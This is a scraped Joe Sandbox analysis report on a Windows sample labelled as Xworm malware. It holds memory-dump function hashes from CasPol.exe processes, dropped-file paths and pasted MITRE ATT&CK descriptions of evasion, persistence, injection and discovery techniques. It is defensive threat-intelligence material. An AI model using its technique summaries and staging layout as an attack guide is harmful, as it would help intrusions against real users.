Function 01871038 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000007D.00000002.2704672305.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_125_2_1870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 457f200b810cbe0084467691d4bd4bd8a978792cb3934db189ed4157ad69b760
Instruction ID: 5e30e9f2de0174b6881028cf23218e8681b5db10db672326e2ceea730519cb19
Opcode Fuzzy Hash: 457f200b810cbe0084467691d4bd4bd8a978792cb3934db189ed4157ad69b760
Instruction Fuzzy Hash: 8021C271B002149FDB44ABB9981837EBAEBFFC9600B10843DD84BD7785DE348C028BA5

Function 01870F28 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000007D.00000002.2704672305.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_125_2_1870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4badfc646aa92bd7fad32faee0956c548e5d66ae552c0d422ee0ca43d7842939
Instruction ID: 6de21e132b8a0ddabbc5ed4585dc82c823d2a999bb2e0690261facf6394599d4
Opcode Fuzzy Hash: 4badfc646aa92bd7fad32faee0956c548e5d66ae552c0d422ee0ca43d7842939
Instruction Fuzzy Hash: 6F215CB4A003099FDB14EFB8D8486ADBBB6FF89200F508569D405A7350DB75AE88DF52

Function 018709CA Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000007D.00000002.2704672305.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_125_2_1870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2315e263fd965a45f97499dc8dac44cc20a24679331b45dbd3f591f2d36be017
Instruction ID: af9aaa144d37a3a33360b1e2c4159014fa7c7c3c75e3625d34b93946a6e10ab6
Opcode Fuzzy Hash: 2315e263fd965a45f97499dc8dac44cc20a24679331b45dbd3f591f2d36be017
Instruction Fuzzy Hash: D9113C71B00B044BDB65BB7DD82427EB6A2FF852103108A2DD057DB780EFB59D198F96

Analysis Process: CasPol.exePID: 8400, Parent PID: 5124COMMON

Executed Functions

Function 010308E0 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000007E.00000002.2721070490.0000000001030000.00000040.00000800.00020000.00000000.sdmp, Offset: 01030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_126_2_1030000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c9ba69e7d65f787fb5e6cc6cf0c89232fca0b133a2279336eedb924654ad361
Instruction ID: f66eae0bc958dc7a2c6d34f9336ecbcd30476ea3559ab2cbce333bf5023ccfb7
Opcode Fuzzy Hash: 2c9ba69e7d65f787fb5e6cc6cf0c89232fca0b133a2279336eedb924654ad361
Instruction Fuzzy Hash: 9161CD347112048FDB05EF79E858A6E7BB6FF89700B108569E006EB3A6DF74AD05CB91

Function 010308CF Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000007E.00000002.2721070490.0000000001030000.00000040.00000800.00020000.00000000.sdmp, Offset: 01030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_126_2_1030000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59ee803b5e6b741af2fc2d60ff098ef4167e58a11523dc46d50852b5e7bd09d0
Instruction ID: f5f571e91f034af5f6422a73d3da2a0b0731b868edd96c9333d31191f61729c3
Opcode Fuzzy Hash: 59ee803b5e6b741af2fc2d60ff098ef4167e58a11523dc46d50852b5e7bd09d0
Instruction Fuzzy Hash: 8641AF756113048FDB05EF79E8986AE7BB6FB887007008628D04AA7395EF346D49CF91

Function 01030A98 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000007E.00000002.2721070490.0000000001030000.00000040.00000800.00020000.00000000.sdmp, Offset: 01030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_126_2_1030000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe878df230eaa53217995e2fe12ecf278a8fb31e9147647c391e144d1335e546
Instruction ID: 1f6ba5805b6165dad456777bc42401b23f4b817a77531e0ff03d00f3169de639
Opcode Fuzzy Hash: fe878df230eaa53217995e2fe12ecf278a8fb31e9147647c391e144d1335e546
Instruction Fuzzy Hash: 20319A34B402049FDB54DB7AD854B6E7BE2BF89710F2444A9E506EF3A2CA71EC018B91

Function 01031038 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000007E.00000002.2721070490.0000000001030000.00000040.00000800.00020000.00000000.sdmp, Offset: 01030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_126_2_1030000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7f346926242e9a8caf3015fc44c614d18b040e673dd97723d868d9bb002eb09
Instruction ID: c63fd5b07b440af7f9ec9432b21bc6bef9af6f1b60a79df7f4a8fdc2ebd2c632
Opcode Fuzzy Hash: a7f346926242e9a8caf3015fc44c614d18b040e673dd97723d868d9bb002eb09
Instruction Fuzzy Hash: 1B219F75B013149FDB44ABBA881536FBAEAEFC9310B10842DE84BE7785DD748D018BA1

Function 01030F28 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000007E.00000002.2721070490.0000000001030000.00000040.00000800.00020000.00000000.sdmp, Offset: 01030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_126_2_1030000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb7491b0ae940cfccecbeea1ebd39517709a5bd71da6a0381e6e760238f11543
Instruction ID: cc414ce62e481e721d2262884762432cc1377a0ce01d0649d1c172b2c94e8bc4
Opcode Fuzzy Hash: cb7491b0ae940cfccecbeea1ebd39517709a5bd71da6a0381e6e760238f11543
Instruction Fuzzy Hash: CB217CB4E103099FDB01EFB4D8546AEBBB6FF89700F108568D005A7344DB70AA84CF51

Function 010309CA Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000007E.00000002.2721070490.0000000001030000.00000040.00000800.00020000.00000000.sdmp, Offset: 01030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_126_2_1030000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69388d0da63e429cf2cc376524d25939647b69adeec224befb08bec0b5a34423
Instruction ID: 4bee377ad19d80e3f9b97ff9e30fadbfcf1682362c6b5dabf1b46d8d3981800c
Opcode Fuzzy Hash: 69388d0da63e429cf2cc376524d25939647b69adeec224befb08bec0b5a34423
Instruction Fuzzy Hash: 4A11AC31700B004FEB54AF7D881426EBAD6BFC52107108A2DD057EB680EF759D098F92

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report TM3utH2CsU.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Documents\32.zip

C:\Users\Public\Documents\32\hnvc.vbs

C:\Users\Public\Documents\32\pure_hnvc.bat

C:\Users\Public\Documents\pow.zip

C:\Users\Public\Documents\pow\wm.vbs

C:\Users\Public\Documents\pow\wm_startup.bat

C:\Users\Public\Documents\privacy_policy.pdf

C:\Users\Public\Documents\sys.zip

Windows Analysis Report
TM3utH2CsU.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre